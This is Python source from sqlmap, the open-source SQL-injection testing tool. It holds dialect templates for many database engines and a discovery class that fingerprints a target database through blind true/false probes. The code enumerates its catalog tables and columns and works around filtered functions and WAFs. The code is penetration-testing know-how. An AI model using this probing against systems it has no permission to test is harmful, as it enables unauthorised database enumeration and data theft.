("BINTOHEX", "UPPER(BINTOHEX(TO_BINARY({expr})))"), # SAP HANA
("TO_HEX_VARBINARY", "UPPER(TO_HEX(CAST({expr} AS VARBINARY)))"), # Presto/Vertica
("TO_HEX_BYTES", "UPPER(TO_HEX(CAST({expr} AS BYTES)))"), # BigQuery/Spanner
)
# uppercase hex alphabet the nibble reader walks over
_HEXDIGITS = "0123456789ABCDEF"
# cap on a single char's hex length (UTF-32 = 8 bytes = 16 nibbles)
_MAX_HEX_CHAR_NIBBLES = 16
# hex encodings of 'q' (0x71) -> the text codec that decodes them; distinguishes
# single-byte (utf-8/ascii) from UTF-16 BE/LE so the dump decoder reads the right one
_HEX_Q_ENCODINGS = (("71", "utf-8"), ("0071", "utf-16-be"), ("7100", "utf-16-le"))
# the only code points a hex-framed dump payload can contain (hex digits + N/V markers
# + the ',' delimiter); lets that value extract via a tiny bisection alphabet
_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",0123456789ABCDEFNV"))
# force a byte-ordered, case/accent-sensitive comparison of {x} even where the default
# collation is case-insensitive (SQL Server, MySQL _ci) or locale-linguistic (PostgreSQL)
_BINWRAP = (
("collate_c", "({x}) COLLATE \"C\""), # PostgreSQL/Redshift/Greenplum/CockroachDB/Vertica
("collate_bin2", "({x}) COLLATE Latin1_General_BIN2"), # SQL Server/Sybase ASE
("collate_mysqlbin", "({x}) COLLATE utf8mb4_bin"), # MySQL/MariaDB/TiDB/Doris/StarRocks
("binary_op", "BINARY ({x})"), # MySQL (operator form)
("cast_bytea", "CAST(({x}) AS bytea)"), # PostgreSQL family
("cast_varbinary", "CAST(({x}) AS VARBINARY(8000))"), # SQL Server/DB2
("cast_blob", "CAST(({x}) AS BLOB)"), # SQLite/Firebird/Derby
("nlssort", "NLSSORT(({x}),'NLS_SORT=BINARY')"), # Oracle
("raw", "UTL_RAW.CAST_TO_RAW({x})"), # Oracle (RAW bytewise)
)
# aggregate column {col} across all rows into ONE delimited string (one-shot bulk pull)
_BULK_AGG = (
("group_concat", "GROUP_CONCAT({col})"), # MySQL/MariaDB/SQLite/H2/HSQLDB/CUBRID/Doris/StarRocks
("string_agg", "STRING_AGG(CAST({col} AS VARCHAR(4000)),',')"), # PostgreSQL/SQLServer2017+/Snowflake/Spanner/HANA/DuckDB/Cockroach/Greenplum/BigQuery
("listagg_ovf", "LISTAGG({col},',' ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY {col})"), # Oracle 12.2+/graceful
("listagg", "LISTAGG({col},',') WITHIN GROUP (ORDER BY {col})"), # Oracle/DB2/Vertica/Redshift/Altibase
("array_agg", "ARRAY_TO_STRING(ARRAY_AGG({col}),',')"), # PostgreSQL/Presto/Trino/CrateDB
("list_fb", "LIST({col})"), # Firebird (returns BLOB)
("xmlagg", "RTRIM(XMLAGG(XMLELEMENT(NAME \"E\",{col},',').EXTRACT('//text()')))"), # Teradata/DB2 (SQL/XML NAME kw)
)
# FROM-suffix a bare scalar SELECT needs (bare = none); a non-bare match fingerprints the family
_DUAL = (
("bare", ""), # MySQL/PostgreSQL/SQLite/SQLServer/Snowflake/...
("DUAL", " FROM DUAL"), # Oracle / SAP MaxDB / Altibase / CUBRID
("SYSIBM.SYSDUMMY1", " FROM SYSIBM.SYSDUMMY1"), # IBM Db2 / Apache Derby
("RDB$DATABASE", " FROM RDB$DATABASE"), # Firebird
("DUMMY", " FROM DUMMY"), # SAP HANA
("SYSMASTER:SYSDUAL", " FROM SYSMASTER:SYSDUAL"), # Informix
("VALUES", " FROM (VALUES(1)) t"), # HSQLDB / standard
("system.onerow", " FROM system.onerow"), # Mimer SQL
)
# which product(s) a non-bare _DUAL match implies (for the identify() evidence trail)
_DUAL_IMPLIES = {
"DUAL": "Oracle / MaxDB / Altibase / CUBRID",
"SYSIBM.SYSDUMMY1": "IBM Db2 / Apache Derby",
"RDB$DATABASE": "Firebird",
"DUMMY": "SAP HANA",
"SYSMASTER:SYSDUAL": "Informix",
"VALUES": "HSQLDB / SQL-standard",
"system.onerow": "Mimer SQL",
}
# version-banner probes: (label, expr, product, implies_product). engine-specific first;
# implies_product=False marks generic banners where only the banner TEXT names the product
_BANNERS = (
("H2VERSION()", "H2VERSION()", "H2", True),
("SQLITE_VERSION()", "SQLITE_VERSION()", "SQLite", True),
("DATABASE_VERSION()", "DATABASE_VERSION()", "HSQLDB", True),
("CURRENT_VERSION()", "CURRENT_VERSION()", "Snowflake", True),
("product_component_version", "(SELECT version FROM product_component_version WHERE ROWNUM=1)", "Oracle", True), # low-priv Oracle
("v$version", "(SELECT banner FROM v$version WHERE ROWNUM=1)", "Oracle", True), # needs SELECT_CATALOG_ROLE
("rdb$get_context", "(SELECT rdb$get_context('SYSTEM','ENGINE_VERSION') FROM rdb$database)", "Firebird", True),
("SYS.M_DATABASE", "(SELECT VERSION FROM SYS.M_DATABASE)", "SAP HANA", True),
("$ZVERSION", "$ZVERSION", "InterSystems Cache/IRIS", True),
("SYS.SYSTABLES", "(SELECT DBINFO('VERSION','FULL') FROM systables WHERE tabid=1)", "Informix", True),
("@@VERSION", "@@VERSION", None, False),
("VERSION()", "VERSION()", None, False),
("version()", "version()", None, False),
)
# product names searched for INSIDE a banner string; forks listed BEFORE their parents
# (e.g. MariaDB before MySQL) so the more specific name wins
_BANNER_KEYWORDS = (
"Microsoft SQL Server",
"CockroachDB", "Redshift", "Greenplum", "Vertica", "PostgreSQL",
"TiDB", "Percona", "MariaDB", "MySQL",
"Oracle", "SQLite", "SAP HANA", "DB2", "Firebird", "Snowflake",
"Presto", "Trino", "ClickHouse", "H2", "HSQLDB", "MonetDB", "CrateDB", "Informix",
)
# BYTE-length of {expr} (distinct from _LENGTH's character count; for binary-safe sizing)
_BYTELEN = (
("OCTET_LENGTH", "OCTET_LENGTH({expr})"),
("DATALENGTH", "DATALENGTH({expr})"),
("LENGTHB", "LENGTHB({expr})"),
)
# cast an arbitrary scalar (int/date/binary) {expr} to text so it can be substringed
_TEXTCAST = (
("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"),
("cast_text", "CAST(({expr}) AS TEXT)"),
("cast_char", "CAST(({expr}) AS CHAR)"),
("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"),
("to_char", "TO_CHAR({expr})"),
("convert_varchar", "CONVERT(VARCHAR(4000),({expr}))"),
("cast_string", "CAST(({expr}) AS STRING)"),
("cast_nvarchar", "CAST(({expr}) AS NVARCHAR(4000))"),
)
# substitute {fallback} when {expr} IS NULL
_COALESCE = (
("COALESCE", "COALESCE({expr},{fallback})"),
("IFNULL", "IFNULL({expr},{fallback})"),
("NVL", "NVL({expr},{fallback})"),
("ISNULL", "ISNULL({expr},{fallback})"),
("case", "CASE WHEN ({expr}) IS NULL THEN {fallback} ELSE ({expr}) END"),
)
# expressions that yield the current user / database-or-schema / version, per kind
_IDENTITY = {
"user": (
"CURRENT_USER", "CURRENT_USER()", "USER", "USER()", "SYSTEM_USER",
"SUSER_NAME()", "USER_NAME()", "USERNAME()", "currentUser()",
),
# the CURRENT namespace used to scope table/column lookups. prefer the SCHEMA
# functions: on schema-based engines (h2/hsqldb/derby/pg) the catalog's scope
# column is the SCHEMA (PUBLIC/APP/public), NOT the database name (h2 DATABASE()
# is 'TEST' but its tables live in schema 'PUBLIC'). where db==schema (MySQL),
# SCHEMA() returns the same value, so nothing regresses.
"database": (
"CURRENT_SCHEMA()", "current_schema()", "CURRENT_SCHEMA", "current_schema",
"SCHEMA_NAME()", "SCHEMA()", "CURRENT SCHEMA", "DATABASE()", "DB_NAME()", "currentDatabase()",
), # SCHEMA_NAME() = SQL Server's schema (dbo), so tables scope+qualify as schema.table (e.g. "dbo"."users"); its DB_NAME() ('master') is NOT a valid 2-part schema prefix
"version": (
"VERSION()", "version()", "@@VERSION", "SQLITE_VERSION()",
"DATABASE_VERSION()", "H2VERSION()", "CURRENT_VERSION()",
"(SELECT banner FROM v$version WHERE ROWNUM=1)", # Oracle
"(SELECT version FROM v$instance)", # Oracle alt
),
}
# table catalogs: (probe-name, family, {kind: (name_col, source, filter)}). the first
# whose COUNT(*) succeeds both enables enumeration and fingerprints the DBMS family
_CATALOGS = (
("sqlite_master", "SQLite",
{"table": ("tbl_name", "sqlite_master", "type='table'")}),
("SYS.ALL_TABLES", "Oracle", # exclude recyclebin objects (dropped tables linger as
{"table": ("TABLE_NAME", "SYS.ALL_TABLES", "TABLE_NAME NOT LIKE 'BIN$%'"), # BIN$... in ALL_TABLES) - idea from SchemaCrawler
"schema": ("OWNER", "SYS.ALL_TABLES", None)}),
("sys.summits", "CrateDB", # CrateDB signature table (mountain summits); MUST precede
{"table": ("table_name", "information_schema.tables", None), # pg_catalog (CrateDB is PG-wire -> was mis-ID'd PostgreSQL + collided with its system `users`)
"schema": ("table_schema", "information_schema.tables", None)}),
("pg_catalog.pg_tables", "PostgreSQL-family",
{"table": ("tablename", "pg_catalog.pg_tables", None),
"schema": ("schemaname", "pg_catalog.pg_tables", None)}),
("master..sysdatabases", "MSSQL/Sybase",
{"database": ("name", "master..sysdatabases", None),
"schema": ("name", "sys.schemas", None),
"table": ("name", "sys.tables", None)}),
("RDB$RELATIONS", "Firebird",
{"table": ("TRIM(RDB$RELATION_NAME)", "RDB$RELATIONS", "RDB$SYSTEM_FLAG=0")}), # user tables only; TRIM the CHAR(63) padding
("syscat.tables", "IBM DB2",
{"table": ("tabname", "syscat.tables", None)}),
("sys._tables", "MonetDB", # MonetDB-unique (underscore); MUST precede SYS.OBJECTS,
{"table": ("name", "sys._tables", "system=false")}), # which MonetDB ALSO has -> was mis-ID'd as SAP HANA
("SYS.OBJECTS", "SAP HANA",
{"table": ("OBJECT_NAME", "SYS.OBJECTS", "OBJECT_TYPE='TABLE'")}),
("SYS.SYSTABLES", "Apache Derby",
{"table": ("TABLENAME", "SYS.SYSTABLES", "TABLETYPE='T'")}), # Derby native catalog (user tables)
("SYSIBM.SYSTABLES", "DB2/Derby",
{"table": ("NAME", "SYSIBM.SYSTABLES", None)}),
("db_class", "CUBRID", # CUBRID-unique catalog (object-oriented heritage);
{"table": ("class_name", "db_class", "is_system_class='NO'")}), # else it matched nothing -> brute-forced blindly + went unnamed
("systables", "Informix", # bare `systables` is Informix-specific (others are SYS./SYSIBM.-qualified);
{"table": ("tabname", "systables", "tabid>=100 AND tabtype='T'")}), # tabid>=100 = user objects, tabtype='T' = base tables
("system.tables", "ClickHouse", # precede INFORMATION_SCHEMA (CH has both); scope to the
{"table": ("name", "system.tables", "database=currentDatabase()")}), # current db so its own system.* tables (incl a `users`!) don't pollute
("INFORMATION_SCHEMA.TABLES", "ANSI (MySQL/MSSQL/PG/...)",
{"table": ("table_name", "INFORMATION_SCHEMA.TABLES", None),
"schema": ("table_schema", "INFORMATION_SCHEMA.TABLES", None)}),
)
# per-catalog column enumeration: (name_col, source, filter) where filter has one %s
# for the (literal) table name; matched by the catalog chosen above
# (name_col, source, where-template-with-one-%s, ordinal_col); the 4th column is the
# catalog's declared column position, used to return columns in DEFINITION order (else
# they come out alphabetical); a wrong/absent one just degrades to alphabetical
_COLUMN_SPECS = {
"sqlite_master": ("name", "pragma_table_info(%s)", None, "cid"),
"SYS.ALL_TABLES": ("column_name", "SYS.ALL_TAB_COLUMNS", "table_name=%s", "COLUMN_ID", "OWNER"), # Oracle scopes by OWNER, not table_schema
"pg_catalog.pg_tables": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"),
"sys.summits": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"), # CrateDB (schema-scoped by columns())
"master..sysdatabases": ("name", "syscolumns", "id=OBJECT_ID(%s)", "colid"),
"RDB$RELATIONS": ("TRIM(RDB$FIELD_NAME)", "RDB$RELATION_FIELDS", "RDB$RELATION_NAME=%s", "RDB$FIELD_POSITION"), # TRIM the CHAR padding
"syscat.tables": ("colname", "syscat.columns", "tabname=%s", "colno"),
"db_class": ("attr_name", "db_attribute", "class_name=%s", "def_order"), # CUBRID
"systables": ("colname", "syscolumns", "tabid=(SELECT tabid FROM systables WHERE tabname=%s)", "colno"), # Informix
"sys._tables": ("name", "sys._columns", "table_id=(SELECT id FROM sys._tables WHERE name=%s AND system=false)", "number"), # MonetDB
"system.tables": ("name", "system.columns", "table=%s AND database=currentDatabase()", "position"), # ClickHouse (scope to current db)
"SYS.OBJECTS": ("column_name", "SYS.TABLE_COLUMNS", "table_name=%s", "POSITION"),
"SYS.SYSTABLES": ("COLUMNNAME", "SYS.SYSCOLUMNS", "REFERENCEID=(SELECT TABLEID FROM SYS.SYSTABLES WHERE TABLENAME=%s)", "COLUMNNUMBER"),
"SYSIBM.SYSTABLES": ("COLUMNNAME", "SYSIBM.SYSCOLUMNS", "TBNAME=%s", "COLNO"),
"INFORMATION_SCHEMA.TABLES": ("column_name", "INFORMATION_SCHEMA.COLUMNS", "table_name=%s", "ordinal_position"),
}
# pattern-match floor operators: (op, multi-char wildcard, single-char wildcard); GLOB
# (case-sensitive, literal '_') is preferred over LIKE
_PREFIX = (
("GLOB", "*", "?"), # SQLite: case-SENSITIVE, and '_' is literal (preferred)
("LIKE", "%", "_"), # near-universal core SQL (often case-insensitive)
("SIMILAR TO", "%", "_"), # SQL:2003 (PostgreSQL/H2/HSQLDB/Vertica): last-resort floor when LIKE+GLOB are both filtered; SAME %/_ wildcards as LIKE but its other regex metachars need escaping (see _SIMILAR_META)
)
# characters SIMILAR TO treats as regex metacharacters (beyond the %/_ wildcards): a
# literal one in the extracted value must be backslash-escaped or the pattern mismatches
_SIMILAR_META = frozenset("%_|*+?(){}[].\\^$")
# identifier quoting styles: (open, close); probed against a known-present table
_IDENT_QUOTE = (
('"', '"'), # ANSI: PostgreSQL/Oracle/SQLite/DB2/Firebird/HANA/Snowflake/...
('`', '`'), # MySQL/MariaDB/TiDB
('[', ']'), # SQL Server/Access/Sybase
)
# primary/unique key lookup per catalog: (source, table_col, name_col, constraint_filter);
# the preferred row-ordering key for dump()
# ANSI INFORMATION_SCHEMA key lookup, shared by every catalog whose engine also exposes
# it (MSSQL/Sybase are detected via master..sysdatabases but DO have INFORMATION_SCHEMA)
_ANSI_KEY_SPEC = (
"INFORMATION_SCHEMA.KEY_COLUMN_USAGE", "table_name", "column_name",
"constraint_name IN (SELECT constraint_name FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS "
"WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))")
_KEY_SPECS = {
"INFORMATION_SCHEMA.TABLES": _ANSI_KEY_SPEC,
"master..sysdatabases": _ANSI_KEY_SPEC, # MSSQL/Sybase: rowid-less, so a PK keyset is the clean ordered walk
"pg_catalog.pg_tables": (
"information_schema.key_column_usage", "table_name", "column_name",
"constraint_name IN (SELECT constraint_name FROM information_schema.table_constraints "
"WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))"),
"SYS.ALL_TABLES": (
"SYS.ALL_CONS_COLUMNS", "table_name", "column_name",
"constraint_name IN (SELECT constraint_name FROM SYS.ALL_CONSTRAINTS "
"WHERE constraint_type IN ('P','U'))"),
}
# physical row-id pseudo-columns: (name, expr, unit); fallback row-ordering for dump()
_ROWID = (
("rowid", "ROWID", "int"), # SQLite (integer); Oracle (opaque string) - unit re-measured
("_ROWID_", "_ROWID_", "int"), # SQLite alias
("rowid_oracle", "ROWID", "text"), # Oracle pseudo-column (opaque, orderable)
("ctid", "ctid", "text"), # PostgreSQL tuple id (page,tuple): MIN-aggregatable + orderable, so a PK-less table's exact-duplicate rows survive the dump instead of collapsing
("rrn", "RRN(%s)", "int"), # IBM Db2 relative record number
)
# row-ids whose comparison bound must be a QUOTED literal, not a CHR()||... build: their
# type (e.g. PostgreSQL 'tid') coerces from an unknown-typed literal ('(0,1)') but NOT
# from a text-typed concatenation, so ctid=CHR(40)||... errors while ctid='(0,1)' works
_ROWID_LITBOUND = frozenset(("ctid",))
# printable ASCII (0x20-0x7E): the equality/ordinal char-scan alphabet
_PRINTABLE = "".join(chr(_) for _ in range(32, 127))
# _PRINTABLE sorted by code point (for ordinal/collation bisection)
_PRINTABLE_SORTED = sorted(_PRINTABLE)
# English-frequency-ordered charset (common letters first) so the equality scan needs
# fewer probes on real text; completed with any remaining printable chars below
_FREQ_ORDER = ("etaoinshrdlcumwfgypbvkjxqz"
"0123456789_ .-,ETAOINSHRDLCUMWFGYPBVKJXQZ")
_FREQ_ORDER += "".join(c for c in _PRINTABLE if c not in _FREQ_ORDER)
# highest Unicode code point: the upper bound for code-mode bisection
_UNICODE_MAX = 0x10FFFF
# U+FFFD REPLACEMENT CHARACTER: the explicit "could not recover this char" marker
# (extraction emits it instead of ever silently substituting/dropping a character)
_REPL = u"\uFFFD"
# py2/py3 shim: integer code point -> single char
try:
_unichr = unichr # py2
except NameError:
_unichr = chr # py3
def _native(s):
# embed a literal as the native str type: on py2 a unicode value is encoded to
# utf-8 bytes so the byte-string SQL templates ('{expr}'.format(...)) don't force
# an ascii encode of non-ASCII data; on py3 str is already unicode-clean.
if str is bytes and isinstance(s, unicode): # py2 only (unicode unresolved on py3)
return s.encode("utf-8")
return s
__all__ = [_n for _n in list(globals()) if not _n.startswith('__') and _n != 'binascii']

View file

@ -0,0 +1,467 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from .atlas import *
from .records import *
class _Discovery(object):
"""_Discovery
probe the target to build the Dialect; populates self.dialect, never extracts data."""
def discover(self):
with self._probePhase():
return self._discover()
def _discover(self):
if not self._sanity():
raise RuntimeError("oracle does not behave (1=1 true / 1=2 false failed)")
try:
self._discoverSubstring()
except RuntimeError:
# MAX-CONSTRAINT path: every substring fn is blacklisted. fall back to a
# pure pattern-match extractor (LIKE/GLOB) that needs no SUBSTR/LENGTH/
# code/hex fn.
if self._fallbackPrefix():
return self.dialect
raise
try:
self._discoverLength()
except RuntimeError:
# no length fn - derive length from the substring's end behavior, provided
# that end is observable (empty/NULL). one more laddered capability, so a
# backend with substring but no CHAR_LENGTH/LENGTH/LEN still extracts.
# if the end isn't observable (e.g. LEFT/RIGHT), drop to the pattern floor.
if self.dialect.substring.get("beyond_end") not in ("empty", "null-or-error"):
if self._fallbackPrefix():
return self.dialect
raise
self.dialect.notes.append("no length fn; length derived from substring end")
self._discoverBytelen()
self._discoverConcat()
self._fixupLength()
self._discoverTextcast()
self._discoverCoalesce()
self._discoverCompare()
self._discoverComparator()
self._discoverCharfrom()
self._discoverDual()
self._discoverIdentity()
self._discoverCatalog()
self._checkCompat()
self._discovered = True
return self.dialect
def _fallbackPrefix(self):
# pure LIKE/GLOB pattern-match floor: usable when there is no workable
# substring+length combo (substring absent, or present but unmeasurable).
# only the pattern-INDEPENDENT capabilities (charfrom/dual/catalog use no
# SUBSTR) are discovered; concat/compare/etc. stay None.
if not self._discoverPrefix():
return False
self.dialect.substring = None # route retrieval to the pattern-match path
self.dialect.length = None
self.dialect.compare = "like"
self._discoverCharfrom()
self._discoverDual()
self._discoverCatalog()
self._discovered = True
return True
def _discoverPrefix(self):
# LIKE/GLOB pattern match: 'sqlmap' <op> 'sq<multi>' true, 'zz<multi>' false.
# also measure case-sensitivity ('a' <op> 'A').
for op, multi, single in _PREFIX:
if self._ask("('sqlmap') %s 'sq%s'" % (op, multi)) and \
not self._ask("('sqlmap') %s 'zz%s'" % (op, multi)):
ci = self._ask("('a') %s 'A'" % op)
self.dialect.prefix = Cap(op, "%s", multi=multi, single=single, case_insensitive=ci)
return op
return None
def identify(self):
"""Fuse catalog family + required dual-table + version banner (+ behavioral
tells) into a best-guess product with an evidence trail. Run after
discover(). This is the CTF step: name the abomination on the other end."""
d = self.dialect
if not self._discovered:
self.discover()
ev = []
if d.catalog:
ev.append(("catalog = %s" % d.catalog, d.family))
if d.dual and d.dual[0] != "bare":
ev.append(("bare SELECT needs FROM %s" % d.dual[0], _DUAL_IMPLIES.get(d.dual[0], "?")))
product = None
# best-effort naming: on a permission/charset wall a probe may be undecided;
# degrade to whatever evidence was gathered rather than crash the verdict
try:
# cheap behavioral tell: || is logical OR -> MySQL family (one probe, no banner)
if d.concat and d.concat[0] != "pipes" and self._ask("(%s)=1" % _CONCAT[0][1].format(a="1", b="1")):
ev.append(("|| is logical OR (not concat)", "MySQL family"))
product = "MySQL"
# the version banner is the EXPENSIVE part (blind-reading a long string), so
# it is paid for ONLY when the catalog family can't name the product on its
# own - i.e. the shared INFORMATION_SCHEMA / unknown-catalog case. A specific
# catalog (SQLite/Oracle/PostgreSQL/MSSQL/...) names the product for free, and
# --banner reads the full version explicitly via banner().
if product is None and (not d.family or "ANSI" in d.family):
val, implied = self._probeBanner()
if val:
ev.append(("banner", val))
product = self._nameFromBanner(val) or implied
if product is None and self._hasChars("@@version_comment"):
comment = self.extract("@@version_comment", limit=64)
if comment:
ev.append(("@@version_comment", comment))
product = self._nameFromBanner(comment)
except OracleUndecided:
ev.append(("product identification", "stopped (oracle undecided - permission/charset wall)"))
d.product = product or d.family
d.evidence = ev
return {"product": d.product, "version": d.version, "family": d.family,
"dual": d.dual[0] if d.dual else None, "compare": d.compare,
"evidence": ev}
def _probeBanner(self):
# blind-read the version string (expensive - a long string over the oracle).
# caches on the dialect; returns (version, implied_product) - some exprs imply a
# product just by existing (e.g. H2VERSION() -> H2)
for _label, expr, prod, implies in _BANNERS:
if self._hasChars(expr):
val = self.extract(expr, limit=96)
if val:
self.dialect.version = val
return val, (prod if implies else None)
return None, None
def banner(self):
"""The --banner action: the full version string, read on demand ONLY. The
fingerprint never triggers this - naming the product (identify) is cheap and
does not need the banner unless the catalog family is ambiguous."""
if not self._discovered:
self.discover()
if self.dialect.version is None:
try:
self._probeBanner()
except OracleUndecided:
pass
return self.dialect.version
@staticmethod
def _nameFromBanner(text):
low = text.lower()
for kw in _BANNER_KEYWORDS:
if kw.lower() in low:
return kw
return None
def _discoverSubstring(self):
for name, tmpl in _SUBSTRING:
g = lambda e, p, ln: tmpl.format(expr=e, pos=p, len=ln)
base = None
if self._ask("%s='q'" % g("'sqlmap'", 2, 1)) and not self._ask("%s='z'" % g("'sqlmap'", 2, 1)):
base = 1
elif self._ask("%s='q'" % g("'sqlmap'", 1, 1)) and self._ask("%s='s'" % g("'sqlmap'", 0, 1)):
base = 0
if base is None:
continue
self.dialect.substring = Cap(name, tmpl, index_base=base)
# base detection above CONFIRMS the substring fn works; the property
# measurements below are best-effort and MUST NOT discard it - a probe the
# oracle can't decide leaves the property at a safe default, never aborts.
props = self.dialect.substring.props
try:
props["beyond_end"] = self._edgeBehavior(self._sub("'ABCDE'", 6, 1))
props["zero_length"] = self._edgeBehavior(self._sub("'ABCDE'", 1, 0))
props["unit"] = self._substringUnit()
except OracleUndecided:
pass
props.setdefault("beyond_end", "unknown")
props.setdefault("zero_length", "unknown")
props.setdefault("unit", "unknown")
return name
self.dialect.substring = None
raise RuntimeError("no working substring function found")
def _codeCharTmpl(self):
# a code->char template (CHAR/CHR/NCHAR), probed ASCII-only and cached. lets
# the unicode PROPERTY probes build a multibyte test char server-side instead
# of pushing a raw non-ASCII byte through the URL/app/DBMS encoding layers.
if self._codeTmpl is None:
self._codeTmpl = False
for _, tmpl in _CHARFROM:
if self._ask("%s='a'" % tmpl.format(code=97)) and not self._ask("%s='b'" % tmpl.format(code=97)):
self._codeTmpl = tmpl
break
return self._codeTmpl or None
def _substringUnit(self):
# char vs byte, ASCII-only + self-referential: SUBSTR(<mb>,1,1) returns the
# whole char (== <mb>) if char-based, or a partial byte (!= <mb>) if byte-based.
# <mb> is a multibyte codepoint built from its numeric code (no raw bytes sent).
cf = self._codeCharTmpl()
if not cf:
return "unknown"
mb = cf.format(code=0x20AC) # U+20AC (multibyte in UTF-8)
if self._ask("%s=%s" % (self._sub(mb, 1, 1), mb)):
return "characters"
return "bytes-or-unknown"
def _edgeBehavior(self, expr):
if self._ask("%s=''" % expr):
return "empty"
if not self._ask("%s IS NOT NULL" % expr):
return "null-or-error"
return "other"
def _discoverLength(self):
# prefer a CHARACTER-count fn (pass 1); fall back to any working fn (pass 2)
# so length stays in the same unit as the char-indexed substring
for prefer_chars in (True, False):
for name, tmpl in _LENGTH:
f = lambda s: tmpl.format(expr=s)
if not (self._ask("%s=1" % f("'A'")) and self._ask("%s=2" % f("'AB'"))):
continue
try:
unit = self._lengthUnit(f)
except OracleUndecided:
unit = "unknown"
if prefer_chars and unit != "characters":
continue
trailing = self._ask("%s=2" % f("'A '")) # preserves trailing space?
empty_null = not self._ask("(%s) IS NOT NULL" % f("''")) # LENGTH('') errors/NULL?
self.dialect.length = Cap(name, tmpl, unit=unit, trailing=trailing,
empty_is_null=empty_null)
return name
self.dialect.length = None
raise RuntimeError("no working length function found")
def _lengthUnit(self, f):
# ASCII-only: measure the length of a multibyte char built from its code.
# 1 => character-counting, >=2 => byte-counting. no raw non-ASCII on the wire.
cf = self._codeCharTmpl()
if not cf:
return "unknown"
mb = cf.format(code=0x20AC)
if self._ask("%s=1" % f(mb)):
return "characters"
if self._ask("%s>=2" % f(mb)):
return "bytes"
return "unknown"
def _fixupLength(self):
# a length fn that trims trailing spaces (SQL Server/Sybase LEN) truncates
# any value ending in spaces; rebuild it as LEN(x||'.')-1 with the concat.
L = self.dialect.length
if not L or L.get("trailing"):
return
if self.dialect.concat:
joined = self.dialect.concat[1].format(a="({expr})", b="'.'")
props = dict(L.props, trailing=True)
self.dialect.length = Cap(L.name + "+dot", "(%s)-1" % L[1].format(expr=joined), **props)
self.dialect.notes.append("length fn trims trailing spaces; using %s(x||'.')-1" % L.name)
else:
self.dialect.notes.append("length fn trims trailing spaces and no concat to correct it")
def _checkCompat(self):
# substring positions and the length count must be in the SAME unit, else
# the per-position walk desyncs on multibyte data
s, ln = self.dialect.substring, self.dialect.length
if s and ln:
su, lu = s.get("unit"), ln.get("unit")
if su == "characters" and lu == "bytes":
self.dialect.notes.append("UNIT MISMATCH: char-indexed substring vs byte-count length - multibyte values may desync")
def _discoverBytelen(self):
# a *byte*-length fn - distinguished from char length with a multibyte char
# (a char-length fn would report 1). the char is built from its code (ASCII on
# the wire); if it can't be built, the atlas name is trusted on the ASCII check.
cf = self._codeCharTmpl()
mb = cf.format(code=0x20AC) if cf else None
for name, tmpl in _BYTELEN:
try:
if not self._ask("%s=2" % tmpl.format(expr="'AB'")):
continue
if mb and not self._ask("%s>=2" % tmpl.format(expr=mb)):
continue # counts chars, not bytes
except OracleUndecided:
continue
self.dialect.bytelen = Cap(name, tmpl)
return name
def _discoverTextcast(self):
# a cast that stringifies a number: substr(cast(123),1,1)='1' and the
# negative sign survives (substr(cast(-42),1,1)='-')
for name, tmpl in _TEXTCAST:
c123, cneg = tmpl.format(expr="123"), tmpl.format(expr="-42")
if self._ask("%s='1'" % self._sub(c123, 1, 1)) and \
self._lenEquals(c123, 3) and \
self._ask("%s='-'" % self._sub(cneg, 1, 1)):
self.dialect.textcast = Cap(name, tmpl)
return name
def _discoverCoalesce(self):
# COALESCE(NULL,'X') -> 'X'. whether empty stays empty is a *measured*
# property, not a requirement (on Oracle '' IS NULL, so it becomes 'X').
for name, tmpl in _COALESCE:
g = lambda e, fb: tmpl.format(expr=e, fallback=fb)
if self._ask("%s='X'" % self._sub(g("NULL", "'X'"), 1, 1)):
empty_distinct = self._lenEquals(g("''", "'X'"), 0)
self.dialect.coalesce = Cap(name, tmpl, empty_distinct=empty_distinct)
return name
def _discoverDual(self):
# the tableless-SELECT FROM suffix; a non-bare match is a family fingerprint
for name, frm in _DUAL:
if self._ask("(SELECT 1%s)=1" % frm):
self.dialect.dual = Cap(name, frm)
return name
def _discoverConcat(self):
# test via substring of the joined result to dodge numeric-coercion
# false positives (MySQL 'a'+'b' -> 0, '||' -> logical OR, etc.)
for name, tmpl in _CONCAT:
joined = tmpl.format(a="'sq'", b="'lm'")
if self._ask("%s='l'" % self._sub(joined, 3, 1)) and \
self._lenEquals(joined, 4):
self.dialect.concat = Cap(name, tmpl)
# function-style concat (CONCAT(a,b)) may be VARIADIC - a flat
# CONCAT(a,b,c,...) beats deeply nested CONCAT(CONCAT(...)) (smaller
# payload, less WAF/URL surface). operators (||/+) split() to "".
func = tmpl.split("(")[0]
if func:
try:
three = "%s('s','q','l')" % func
if self._ask("%s='q'" % self._sub(three, 2, 1)) and self._lenEquals(three, 3):
self.dialect.concat.props["variadic"] = func
except OracleUndecided:
pass
return name
self.dialect.concat = None
self.dialect.notes.append("no concatenation operator discovered")
def _discoverCompare(self):
# 1) numeric code function - fast, unambiguous bisection
one = self._sub("'sqlmap'", 2, 1) # -> 'q' (code 113 / 0x71)
for name, tmpl in _CHARCODE:
code = tmpl.format(expr=one)
if self._ask("%s=113" % code) and not self._ask("%s=112" % code):
self.dialect.charcode = Cap(name, tmpl, semantics=self._charcodeSemantics(tmpl))
self.dialect.compare = "code"
self.dialect.ordered = True
return "code:%s" % name
self.dialect.charcode = None
# 2) force byte-ordered comparison via COLLATE / binary cast - as fast as a
# code function (one compare per bisection) and recovers case under CI /
# locale collations. tried before hex because it's cheaper.
for name, tmpl in _BINWRAP:
w = lambda s: tmpl.format(x=s)
if self._ask("%s>%s" % (w("'a'"), w("'A'"))) and \
not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and \
not self._ask("%s=%s" % (w("'a'"), w("'A'"))):
self.dialect.binwrap = Cap(name, tmpl)
self.dialect.compare = "collation"
self.dialect.ordered = True
return "collation:%s" % name
# 3) hex/byte function - collation-independent, recovers letter case even
# under case-insensitive collations (the key fallback when code fns are
# filtered by a WAF)
for name, tmpl in _HEXFN:
enc = self._hexEncoding(tmpl)
if enc:
self.dialect.hexfn = Cap(name, tmpl, encoding=enc)
self.dialect.compare = "hex"
self.dialect.ordered = True
